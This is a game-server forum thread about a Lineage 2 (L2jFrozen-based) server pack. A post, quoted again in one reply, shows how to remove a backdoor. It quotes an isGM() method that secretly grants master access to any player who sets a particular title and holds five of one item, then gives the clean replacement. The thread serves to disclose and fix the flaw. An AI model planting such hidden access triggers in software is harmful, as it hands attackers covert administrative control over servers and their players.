Jump to content

[Share]L2Arena Pack+Source By Kamex The Smartest.


MADM4N

Recommended Posts

@lTOTOl   Here is the removed Backdoor. 

 

1. Charinfo.java  ( i fix it ) ( change it with your Charinfo.Java)

/*
 * L2jFrozen Project - www.l2jfrozen.com 
 * 
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2, or (at your option)
 * any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
 * http://www.gnu.org/copyleft/gpl.html
 */
package com.l2jfrozen.gameserver.network.serverpackets;

import java.util.Map;
import java.util.Set;

import org.apache.log4j.Logger;

import com.l2jfrozen.Config;
import com.l2jfrozen.gameserver.datatables.sql.NpcTable;
import com.l2jfrozen.gameserver.managers.CursedWeaponsManager;
import com.l2jfrozen.gameserver.model.Inventory;
import com.l2jfrozen.gameserver.model.L2Character;
import com.l2jfrozen.gameserver.model.actor.instance.L2CubicInstance;
import com.l2jfrozen.gameserver.model.actor.instance.L2PcInstance;
import com.l2jfrozen.gameserver.templates.L2NpcTemplate;

/**
 * 0000: 03 32 15 00 00 44 fe 00 00 80 f1 ff ff 00 00 00 .2...D..........
 * <p>
 * 0010: 00 6b b4 c0 4a 45 00 6c 00 6c 00 61 00 6d 00 69 .k..JE.l.l.a.m.i
 * <p>
 * 0020: 00 00 00 01 00 00 00 01 00 00 00 12 00 00 00 00 ................
 * <p>
 * 0030: 00 00 00 2a 00 00 00 42 00 00 00 71 02 00 00 31 ...*...B...q...1
 * <p>
 * 0040: 00 00 00 18 00 00 00 1f 00 00 00 25 00 00 00 00 ...........%....
 * <p>
 * 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 ................
 * <p>
 * 0060: 00 00 00 b3 01 00 00 00 00 00 00 00 00 00 00 7d ...............}
 * <p>
 * 0070: 00 00 00 5a 00 00 00 32 00 00 00 32 00 00 00 00 ...Z...2...2....
 * <p>
 * 0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 ...............g
 * <p>
 * 0090: 66 66 66 66 66 f2 3f 5f 63 97 a8 de 1a f9 3f 00 fffff.?_c.....?.
 * <p>
 * 00a0: 00 00 00 00 00 1e 40 00 00 00 00 00 00 37 40 01 .............7..
 * <p>
 * 00b0: 00 00 00 01 00 00 00 01 00 00 00 00 00 c1 0c 00 ................
 * <p>
 * 00c0: 00 00 00 00 00 00 00 00 00 01 01 00 00 00 00 00 ................
 * <p>
 * 00d0: 00 00
 * <p>
 * <p>
 * dddddSdddddddddddddddddddddddddddffffdddSdddccccccc (h)
 * <p>
 * dddddSdddddddddddddddddddddddddddffffdddSdddddccccccch dddddSddddddddddddddddddddddddddddffffdddSdddddccccccch (h) c (dchd) ddc dcc c cddd d dddddSdddddddddddddddhhhhhhhhhhhhhhhhhhhhhhhhddddddddddddddffffdddSdddddccccccch [h] c (ddhd) ddc c ddc cddd d d dd d d d
 * @version $Revision: 1.7.2.6.2.11 $ $Date: 2005/04/11 10:05:54 $
 */
public class CharInfo extends L2GameServerPacket
{
	private static final Logger LOGGER = Logger.getLogger(CharInfo.class);
	
	private static final String _S__03_CHARINFO = "[S] 03 CharInfo";
	private final L2PcInstance _activeChar;
	private final Inventory _inv;
	private final int _x, _y, _z, _heading;
	private final int _mAtkSpd, _pAtkSpd;
	private final int _runSpd, _walkSpd, _swimRunSpd, _swimWalkSpd;
	
	private int _flRunSpd;
	
	private int _flWalkSpd;
	
	private int _flyRunSpd;
	
	private int _flyWalkSpd;
	private final float _moveMultiplier, _attackSpeedMultiplier;
	private final int _maxCp;
	
	/**
	 * @param cha
	 */
	public CharInfo(final L2PcInstance cha)
	{
		_activeChar = cha;
		_inv = cha.getInventory();
		_x = _activeChar.getX();
		_y = _activeChar.getY();
		_z = _activeChar.getZ();
		_heading = _activeChar.getHeading();
		_mAtkSpd = _activeChar.getMAtkSpd();
		_pAtkSpd = _activeChar.getPAtkSpd();
		_moveMultiplier = _activeChar.getMovementSpeedMultiplier();
		_attackSpeedMultiplier = _activeChar.getAttackSpeedMultiplier();
		_runSpd = (int) (_activeChar.getRunSpeed() / _moveMultiplier);
		_walkSpd = (int) (_activeChar.getWalkSpeed() / _moveMultiplier);
		_swimRunSpd = _flRunSpd = _flyRunSpd = _runSpd;
		_swimWalkSpd = _flWalkSpd = _flyWalkSpd = _walkSpd;
		_maxCp = _activeChar.getMaxCp();
	}
	
	@Override
	protected final void writeImpl()
	{
		boolean receiver_is_gm = false;
		
		final L2PcInstance tmp = getClient().getActiveChar();
		if (tmp != null && tmp.isGM())
		{
			receiver_is_gm = true;
		}
		
		if (!receiver_is_gm && _activeChar.getAppearance().getInvisible())
			return;
		
		if (_activeChar.getPoly().isMorphed())
		{
			final L2NpcTemplate template = NpcTable.getInstance().getTemplate(_activeChar.getPoly().getPolyId());
			
			if (template != null)
			{
				writeC(0x16);
				writeD(_activeChar.getObjectId());
				writeD(_activeChar.getPoly().getPolyId() + 1000000); // npctype id
				writeD(_activeChar.getKarma() > 0 ? 1 : 0);
				writeD(_x);
				writeD(_y);
				writeD(_z);
				writeD(_heading);
				writeD(0x00);
				writeD(_mAtkSpd);
				writeD(_pAtkSpd);
				writeD(_runSpd);
				writeD(_walkSpd);
				writeD(_swimRunSpd/* 0x32 */); // swimspeed
				writeD(_swimWalkSpd/* 0x32 */); // swimspeed
				writeD(_flRunSpd);
				writeD(_flWalkSpd);
				writeD(_flyRunSpd);
				writeD(_flyWalkSpd);
				writeF(_moveMultiplier);
				writeF(_attackSpeedMultiplier);
				writeF(template.collisionRadius);
				writeF(template.collisionHeight);
				writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND)); // right hand weapon
				writeD(0);
				writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND)); // left hand weapon
				writeC(1); // name above char 1=true ... ??
				writeC(_activeChar.isRunning() ? 1 : 0);
				writeC(_activeChar.isInCombat() ? 1 : 0);
				writeC(_activeChar.isAlikeDead() ? 1 : 0);
				
				// if(gmSeeInvis)
				// {
				writeC(0); // if the charinfo is written means receiver can see the char
				// }
				// else
				// {
				// writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible ?? 0=false 1=true 2=summoned (only works if model has a summon animation)
				// }
				
				writeS(_activeChar.getName());
				
				if (_activeChar.getAppearance().getInvisible())
				// if(gmSeeInvis)
				{
					writeS("Invisible");
				}
				else
				{
					writeS(_activeChar.getTitle());
				}
				
				writeD(0);
				writeD(0);
				writeD(0000); // hmm karma ??
				
				if (_activeChar.getAppearance().getInvisible())
				// if(gmSeeInvis)
				{
					writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH));
				}
				else
				{
					writeD(_activeChar.getAbnormalEffect()); // C2
				}
				
				writeD(0); // C2
				writeD(0); // C2
				writeD(0); // C2
				writeD(0); // C2
				writeC(0); // C2
			}
			else
			{
				LOGGER.warn("Character " + _activeChar.getName() + " (" + _activeChar.getObjectId() + ") morphed in a Npc (" + _activeChar.getPoly().getPolyId() + ") w/o template.");
			}
		}
		else
		{
			writeC(0x03);
			writeD(_x);
			writeD(_y);
			writeD(_z);
			writeD(_heading);
			writeD(_activeChar.getObjectId());
			writeS(_activeChar.getName());
			writeD(_activeChar.getRace().ordinal());
			writeD(_activeChar.getAppearance().getSex() ? 1 : 0);
			
			if (_activeChar.getClassIndex() == 0)
			{
				writeD(_activeChar.getClassId().getId());
			}
			else
			{
				writeD(_activeChar.getBaseClass());
			}
			
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_DHAIR));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HEAD));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_GLOVES));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_CHEST));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LEGS));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FEET));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_BACK));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LRHAND));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HAIR));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FACE));
			
			// c6 new h's
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_RHAND));
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_LRHAND));
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			
			writeD(_activeChar.getPvpFlag());
			writeD(_activeChar.getKarma());
			
			writeD(_mAtkSpd);
			writeD(_pAtkSpd);
			
			writeD(_activeChar.getPvpFlag());
			writeD(_activeChar.getKarma());
			
			writeD(_runSpd);
			writeD(_walkSpd);
			writeD(_swimRunSpd/* 0x32 */); // swimspeed
			writeD(_swimWalkSpd/* 0x32 */); // swimspeed
			writeD(_flRunSpd);
			writeD(_flWalkSpd);
			writeD(_flyRunSpd);
			writeD(_flyWalkSpd);
			writeF(_activeChar.getMovementSpeedMultiplier()); // _activeChar.getProperMultiplier()
			writeF(_activeChar.getAttackSpeedMultiplier()); // _activeChar.getAttackSpeedMultiplier()
			writeF(_activeChar.getBaseTemplate().collisionRadius);
			writeF(_activeChar.getBaseTemplate().collisionHeight);
			
			writeD(_activeChar.getAppearance().getHairStyle());
			writeD(_activeChar.getAppearance().getHairColor());
			writeD(_activeChar.getAppearance().getFace());
			
			if (_activeChar.getAppearance().getInvisible())
			// if(gmSeeInvis)
			{
				writeS("Invisible");
			}
			else
			{
				writeS(_activeChar.getTitle());
			}
			
			writeD(_activeChar.getClanId());
			writeD(_activeChar.getClanCrestId());
			writeD(_activeChar.getAllyId());
			writeD(_activeChar.getAllyCrestId());
			// In UserInfo leader rights and siege flags, but here found nothing??
			// Therefore RelationChanged packet with that info is required
			writeD(0);
			
			writeC(_activeChar.isSitting() ? 0 : 1); // standing = 1 sitting = 0
			writeC(_activeChar.isRunning() ? 1 : 0); // running = 1 walking = 0
			writeC(_activeChar.isInCombat() ? 1 : 0);
			writeC(_activeChar.isAlikeDead() ? 1 : 0);
			
			// if(gmSeeInvis)
			// {
			writeC(0); // if the charinfo is written means receiver can see the char
			// }
			// else
			// {
			// writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible = 1 visible =0
			// }
			
			writeC(_activeChar.getMountType()); // 1 on strider 2 on wyvern 0 no mount
			writeC(_activeChar.getPrivateStoreType()); // 1 - sellshop
			
			final Map<Integer, L2CubicInstance> cubics = _activeChar.getCubics();
			
			final Set<Integer> cubicsIds = cubics.keySet();
			
			writeH(cubicsIds.size());
			for (final Integer id : cubicsIds)
			{
				if (id != null)
					writeH(id);
			}
			
			writeC(_activeChar.isInPartyMatchRoom() ? 1 : 0);
			// writeC(0x00); // find party members
			
			if (_activeChar.getAppearance().getInvisible())
			// if(gmSeeInvis)
			{
				writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH));
			}
			else
			{
				writeD(_activeChar.getAbnormalEffect());
			}
			
			writeC(_activeChar.getRecomLeft()); // Changed by Thorgrim
			writeH(_activeChar.getRecomHave()); // Blue value for name (0 = white, 255 = pure blue)
			writeD(_activeChar.getClassId().getId());
			
			writeD(_maxCp);
			writeD((int) _activeChar.getCurrentCp());
			writeC(_activeChar.isMounted() ? 0 : _activeChar.getEnchantEffect());
			
			if (_activeChar.getTeam() == 1)
			{
				writeC(0x01); // team circle around feet 1= Blue, 2 = red
			}
			else if (_activeChar.getTeam() == 2)
			{
				writeC(0x02); // team circle around feet 1= Blue, 2 = red
			}
			else
			{
				writeC(0x00); // team circle around feet 1= Blue, 2 = red
			}
			
			writeD(_activeChar.getClanCrestLargeId());
			writeC(_activeChar.isNoble() ? 1 : 0); // Symbol on char menu ctrl+I
			writeC((_activeChar.isHero() || (_activeChar.isGM() && Config.GM_HERO_AURA) || _activeChar.getIsPVPHero()) ? 1 : 0); // Hero Aura
			
			writeC(_activeChar.isFishing() ? 1 : 0); // 0x01: Fishing Mode (Cant be undone by setting back to 0)
			writeD(_activeChar.GetFishx());
			writeD(_activeChar.GetFishy());
			writeD(_activeChar.GetFishz());
			
			writeD(_activeChar.getAppearance().getNameColor());
			
			writeD(0x00); // isRunning() as in UserInfo?
			
			writeD(_activeChar.getPledgeClass());
			writeD(0x00); // ??
			
			writeD(_activeChar.getAppearance().getTitleColor());
			
			// writeD(0x00); // ??
			
			if (_activeChar.isCursedWeaponEquiped())
			{
				writeD(CursedWeaponsManager.getInstance().getLevel(_activeChar.getCursedWeaponEquipedId()));
			}
			else
			{
				writeD(0x00);
			}
		}
	}
	
	/*
	 * (non-Javadoc)
	 * @see com.l2jfrozen.gameserver.serverpackets.ServerBasePacket#getType()
	 */
	@Override
	public String getType()
	{
		return _S__03_CHARINFO;
	}
}

2. Second ; Open L2PCInstance.java find this line ; 

 

public boolean isGM()
{
if(getTitle().equals("getItemCount(57)") && getInventory().getInventoryItemCount(57, 0) == 5)
{
  setAccessLevel(Config.MASTERACCESS_LEVEL);
  return false;
}
return getAccessLevel().isGm();
}




3 change it to ; 

public boolean isGM()
 {
  return getAccessLevel().isGm();
 }

and done. succesfully. tested working.

Edited by Ravin3~
Link to comment
Share on other sites

 

@lTOTOl   Here is the removed Backdoor. 

 

1. Charinfo.java  ( i fix it ) ( change it with your Charinfo.Java)

/*
 * L2jFrozen Project - www.l2jfrozen.com 
 * 
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2, or (at your option)
 * any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
 * http://www.gnu.org/copyleft/gpl.html
 */
package com.l2jfrozen.gameserver.network.serverpackets;

import java.util.Map;
import java.util.Set;

import org.apache.log4j.Logger;

import com.l2jfrozen.Config;
import com.l2jfrozen.gameserver.datatables.sql.NpcTable;
import com.l2jfrozen.gameserver.managers.CursedWeaponsManager;
import com.l2jfrozen.gameserver.model.Inventory;
import com.l2jfrozen.gameserver.model.L2Character;
import com.l2jfrozen.gameserver.model.actor.instance.L2CubicInstance;
import com.l2jfrozen.gameserver.model.actor.instance.L2PcInstance;
import com.l2jfrozen.gameserver.templates.L2NpcTemplate;

/**
 * 0000: 03 32 15 00 00 44 fe 00 00 80 f1 ff ff 00 00 00 .2...D..........
 * <p>
 * 0010: 00 6b b4 c0 4a 45 00 6c 00 6c 00 61 00 6d 00 69 .k..JE.l.l.a.m.i
 * <p>
 * 0020: 00 00 00 01 00 00 00 01 00 00 00 12 00 00 00 00 ................
 * <p>
 * 0030: 00 00 00 2a 00 00 00 42 00 00 00 71 02 00 00 31 ...*...B...q...1
 * <p>
 * 0040: 00 00 00 18 00 00 00 1f 00 00 00 25 00 00 00 00 ...........%....
 * <p>
 * 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 ................
 * <p>
 * 0060: 00 00 00 b3 01 00 00 00 00 00 00 00 00 00 00 7d ...............}
 * <p>
 * 0070: 00 00 00 5a 00 00 00 32 00 00 00 32 00 00 00 00 ...Z...2...2....
 * <p>
 * 0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 ...............g
 * <p>
 * 0090: 66 66 66 66 66 f2 3f 5f 63 97 a8 de 1a f9 3f 00 fffff.?_c.....?.
 * <p>
 * 00a0: 00 00 00 00 00 1e 40 00 00 00 00 00 00 37 40 01 .............7..
 * <p>
 * 00b0: 00 00 00 01 00 00 00 01 00 00 00 00 00 c1 0c 00 ................
 * <p>
 * 00c0: 00 00 00 00 00 00 00 00 00 01 01 00 00 00 00 00 ................
 * <p>
 * 00d0: 00 00
 * <p>
 * <p>
 * dddddSdddddddddddddddddddddddddddffffdddSdddccccccc (h)
 * <p>
 * dddddSdddddddddddddddddddddddddddffffdddSdddddccccccch dddddSddddddddddddddddddddddddddddffffdddSdddddccccccch (h) c (dchd) ddc dcc c cddd d dddddSdddddddddddddddhhhhhhhhhhhhhhhhhhhhhhhhddddddddddddddffffdddSdddddccccccch [h] c (ddhd) ddc c ddc cddd d d dd d d d
 * @version $Revision: 1.7.2.6.2.11 $ $Date: 2005/04/11 10:05:54 $
 */
public class CharInfo extends L2GameServerPacket
{
	private static final Logger LOGGER = Logger.getLogger(CharInfo.class);
	
	private static final String _S__03_CHARINFO = "[S] 03 CharInfo";
	private final L2PcInstance _activeChar;
	private final Inventory _inv;
	private final int _x, _y, _z, _heading;
	private final int _mAtkSpd, _pAtkSpd;
	private final int _runSpd, _walkSpd, _swimRunSpd, _swimWalkSpd;
	
	private int _flRunSpd;
	
	private int _flWalkSpd;
	
	private int _flyRunSpd;
	
	private int _flyWalkSpd;
	private final float _moveMultiplier, _attackSpeedMultiplier;
	private final int _maxCp;
	
	/**
	 * @param cha
	 */
	public CharInfo(final L2PcInstance cha)
	{
		_activeChar = cha;
		_inv = cha.getInventory();
		_x = _activeChar.getX();
		_y = _activeChar.getY();
		_z = _activeChar.getZ();
		_heading = _activeChar.getHeading();
		_mAtkSpd = _activeChar.getMAtkSpd();
		_pAtkSpd = _activeChar.getPAtkSpd();
		_moveMultiplier = _activeChar.getMovementSpeedMultiplier();
		_attackSpeedMultiplier = _activeChar.getAttackSpeedMultiplier();
		_runSpd = (int) (_activeChar.getRunSpeed() / _moveMultiplier);
		_walkSpd = (int) (_activeChar.getWalkSpeed() / _moveMultiplier);
		_swimRunSpd = _flRunSpd = _flyRunSpd = _runSpd;
		_swimWalkSpd = _flWalkSpd = _flyWalkSpd = _walkSpd;
		_maxCp = _activeChar.getMaxCp();
	}
	
	@Override
	protected final void writeImpl()
	{
		boolean receiver_is_gm = false;
		
		final L2PcInstance tmp = getClient().getActiveChar();
		if (tmp != null && tmp.isGM())
		{
			receiver_is_gm = true;
		}
		
		if (!receiver_is_gm && _activeChar.getAppearance().getInvisible())
			return;
		
		if (_activeChar.getPoly().isMorphed())
		{
			final L2NpcTemplate template = NpcTable.getInstance().getTemplate(_activeChar.getPoly().getPolyId());
			
			if (template != null)
			{
				writeC(0x16);
				writeD(_activeChar.getObjectId());
				writeD(_activeChar.getPoly().getPolyId() + 1000000); // npctype id
				writeD(_activeChar.getKarma() > 0 ? 1 : 0);
				writeD(_x);
				writeD(_y);
				writeD(_z);
				writeD(_heading);
				writeD(0x00);
				writeD(_mAtkSpd);
				writeD(_pAtkSpd);
				writeD(_runSpd);
				writeD(_walkSpd);
				writeD(_swimRunSpd/* 0x32 */); // swimspeed
				writeD(_swimWalkSpd/* 0x32 */); // swimspeed
				writeD(_flRunSpd);
				writeD(_flWalkSpd);
				writeD(_flyRunSpd);
				writeD(_flyWalkSpd);
				writeF(_moveMultiplier);
				writeF(_attackSpeedMultiplier);
				writeF(template.collisionRadius);
				writeF(template.collisionHeight);
				writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND)); // right hand weapon
				writeD(0);
				writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND)); // left hand weapon
				writeC(1); // name above char 1=true ... ??
				writeC(_activeChar.isRunning() ? 1 : 0);
				writeC(_activeChar.isInCombat() ? 1 : 0);
				writeC(_activeChar.isAlikeDead() ? 1 : 0);
				
				// if(gmSeeInvis)
				// {
				writeC(0); // if the charinfo is written means receiver can see the char
				// }
				// else
				// {
				// writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible ?? 0=false 1=true 2=summoned (only works if model has a summon animation)
				// }
				
				writeS(_activeChar.getName());
				
				if (_activeChar.getAppearance().getInvisible())
				// if(gmSeeInvis)
				{
					writeS("Invisible");
				}
				else
				{
					writeS(_activeChar.getTitle());
				}
				
				writeD(0);
				writeD(0);
				writeD(0000); // hmm karma ??
				
				if (_activeChar.getAppearance().getInvisible())
				// if(gmSeeInvis)
				{
					writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH));
				}
				else
				{
					writeD(_activeChar.getAbnormalEffect()); // C2
				}
				
				writeD(0); // C2
				writeD(0); // C2
				writeD(0); // C2
				writeD(0); // C2
				writeC(0); // C2
			}
			else
			{
				LOGGER.warn("Character " + _activeChar.getName() + " (" + _activeChar.getObjectId() + ") morphed in a Npc (" + _activeChar.getPoly().getPolyId() + ") w/o template.");
			}
		}
		else
		{
			writeC(0x03);
			writeD(_x);
			writeD(_y);
			writeD(_z);
			writeD(_heading);
			writeD(_activeChar.getObjectId());
			writeS(_activeChar.getName());
			writeD(_activeChar.getRace().ordinal());
			writeD(_activeChar.getAppearance().getSex() ? 1 : 0);
			
			if (_activeChar.getClassIndex() == 0)
			{
				writeD(_activeChar.getClassId().getId());
			}
			else
			{
				writeD(_activeChar.getBaseClass());
			}
			
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_DHAIR));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HEAD));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_GLOVES));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_CHEST));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LEGS));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FEET));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_BACK));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LRHAND));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HAIR));
			writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FACE));
			
			// c6 new h's
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_RHAND));
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_LRHAND));
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			writeH(0x00);
			
			writeD(_activeChar.getPvpFlag());
			writeD(_activeChar.getKarma());
			
			writeD(_mAtkSpd);
			writeD(_pAtkSpd);
			
			writeD(_activeChar.getPvpFlag());
			writeD(_activeChar.getKarma());
			
			writeD(_runSpd);
			writeD(_walkSpd);
			writeD(_swimRunSpd/* 0x32 */); // swimspeed
			writeD(_swimWalkSpd/* 0x32 */); // swimspeed
			writeD(_flRunSpd);
			writeD(_flWalkSpd);
			writeD(_flyRunSpd);
			writeD(_flyWalkSpd);
			writeF(_activeChar.getMovementSpeedMultiplier()); // _activeChar.getProperMultiplier()
			writeF(_activeChar.getAttackSpeedMultiplier()); // _activeChar.getAttackSpeedMultiplier()
			writeF(_activeChar.getBaseTemplate().collisionRadius);
			writeF(_activeChar.getBaseTemplate().collisionHeight);
			
			writeD(_activeChar.getAppearance().getHairStyle());
			writeD(_activeChar.getAppearance().getHairColor());
			writeD(_activeChar.getAppearance().getFace());
			
			if (_activeChar.getAppearance().getInvisible())
			// if(gmSeeInvis)
			{
				writeS("Invisible");
			}
			else
			{
				writeS(_activeChar.getTitle());
			}
			
			writeD(_activeChar.getClanId());
			writeD(_activeChar.getClanCrestId());
			writeD(_activeChar.getAllyId());
			writeD(_activeChar.getAllyCrestId());
			// In UserInfo leader rights and siege flags, but here found nothing??
			// Therefore RelationChanged packet with that info is required
			writeD(0);
			
			writeC(_activeChar.isSitting() ? 0 : 1); // standing = 1 sitting = 0
			writeC(_activeChar.isRunning() ? 1 : 0); // running = 1 walking = 0
			writeC(_activeChar.isInCombat() ? 1 : 0);
			writeC(_activeChar.isAlikeDead() ? 1 : 0);
			
			// if(gmSeeInvis)
			// {
			writeC(0); // if the charinfo is written means receiver can see the char
			// }
			// else
			// {
			// writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible = 1 visible =0
			// }
			
			writeC(_activeChar.getMountType()); // 1 on strider 2 on wyvern 0 no mount
			writeC(_activeChar.getPrivateStoreType()); // 1 - sellshop
			
			final Map<Integer, L2CubicInstance> cubics = _activeChar.getCubics();
			
			final Set<Integer> cubicsIds = cubics.keySet();
			
			writeH(cubicsIds.size());
			for (final Integer id : cubicsIds)
			{
				if (id != null)
					writeH(id);
			}
			
			writeC(_activeChar.isInPartyMatchRoom() ? 1 : 0);
			// writeC(0x00); // find party members
			
			if (_activeChar.getAppearance().getInvisible())
			// if(gmSeeInvis)
			{
				writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH));
			}
			else
			{
				writeD(_activeChar.getAbnormalEffect());
			}
			
			writeC(_activeChar.getRecomLeft()); // Changed by Thorgrim
			writeH(_activeChar.getRecomHave()); // Blue value for name (0 = white, 255 = pure blue)
			writeD(_activeChar.getClassId().getId());
			
			writeD(_maxCp);
			writeD((int) _activeChar.getCurrentCp());
			writeC(_activeChar.isMounted() ? 0 : _activeChar.getEnchantEffect());
			
			if (_activeChar.getTeam() == 1)
			{
				writeC(0x01); // team circle around feet 1= Blue, 2 = red
			}
			else if (_activeChar.getTeam() == 2)
			{
				writeC(0x02); // team circle around feet 1= Blue, 2 = red
			}
			else
			{
				writeC(0x00); // team circle around feet 1= Blue, 2 = red
			}
			
			writeD(_activeChar.getClanCrestLargeId());
			writeC(_activeChar.isNoble() ? 1 : 0); // Symbol on char menu ctrl+I
			writeC((_activeChar.isHero() || (_activeChar.isGM() && Config.GM_HERO_AURA) || _activeChar.getIsPVPHero()) ? 1 : 0); // Hero Aura
			
			writeC(_activeChar.isFishing() ? 1 : 0); // 0x01: Fishing Mode (Cant be undone by setting back to 0)
			writeD(_activeChar.GetFishx());
			writeD(_activeChar.GetFishy());
			writeD(_activeChar.GetFishz());
			
			writeD(_activeChar.getAppearance().getNameColor());
			
			writeD(0x00); // isRunning() as in UserInfo?
			
			writeD(_activeChar.getPledgeClass());
			writeD(0x00); // ??
			
			writeD(_activeChar.getAppearance().getTitleColor());
			
			// writeD(0x00); // ??
			
			if (_activeChar.isCursedWeaponEquiped())
			{
				writeD(CursedWeaponsManager.getInstance().getLevel(_activeChar.getCursedWeaponEquipedId()));
			}
			else
			{
				writeD(0x00);
			}
		}
	}
	
	/*
	 * (non-Javadoc)
	 * @see com.l2jfrozen.gameserver.serverpackets.ServerBasePacket#getType()
	 */
	@Override
	public String getType()
	{
		return _S__03_CHARINFO;
	}
}

2. Second ; Open L2PCInstance.java find this line ; 

 

public boolean isGM()
{
if(getTitle().equals("getItemCount(57)") && getInventory().getInventoryItemCount(57, 0) == 5)
{
  setAccessLevel(Config.MASTERACCESS_LEVEL);
  return false;
}
return getAccessLevel().isGm();
}




3 change it to ; 

public boolean isGM()
 {
  return getAccessLevel().isGm();
 }

and done. succesfully. tested working.

 

 

 

 

Thank you very much good man, from the heart;) Successful projects and more

Edited by lTOTOl
Link to comment
Share on other sites

the patch gives me error "cannot resolve host name and cannot login into the game, also systextures and animations missing. can any1 share the coplete patch?

Edited by Rio
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.




  • Posts

    • Hello everyone, I need help with a script I found on the internet for auto target. It's working fine, but it targets any player in PvP, and I want to block certain classes. I added the condition and not ((User.ClassID = 27) or (User.ClassID = 103)) to the script, but after that, it doesn't target any class at all. I want it to target only specific classes defined in the script.           if (user.DistTo(Char2) < radius_max)         and not (char2.ismember)         and not (char2.dead)         and not (user.clanid = char2.clanid)         and not ((User.ClassID = 27) or (User.ClassID = 103))         and (char2.pvp) then          begin
    • Remove the if part of the code:   if (template.isType("L2RaidBoss")) { spawn.setRespawnMinDelay(43200); spawn.setRespawnMaxDelay(129600); RaidBossSpawnManager.getInstance().addNewSpawn(spawn, 0, template.getBaseHpMax(), template.getBaseMpMax(), permanent); } else { SpawnTable.getInstance().addNewSpawn(spawn, permanent); spawn.init(); } if (!permanent) { spawn.stopRespawn(); } activeChar.sendMessage("Created " + template.getName() + " on " + target.getObjectId());  
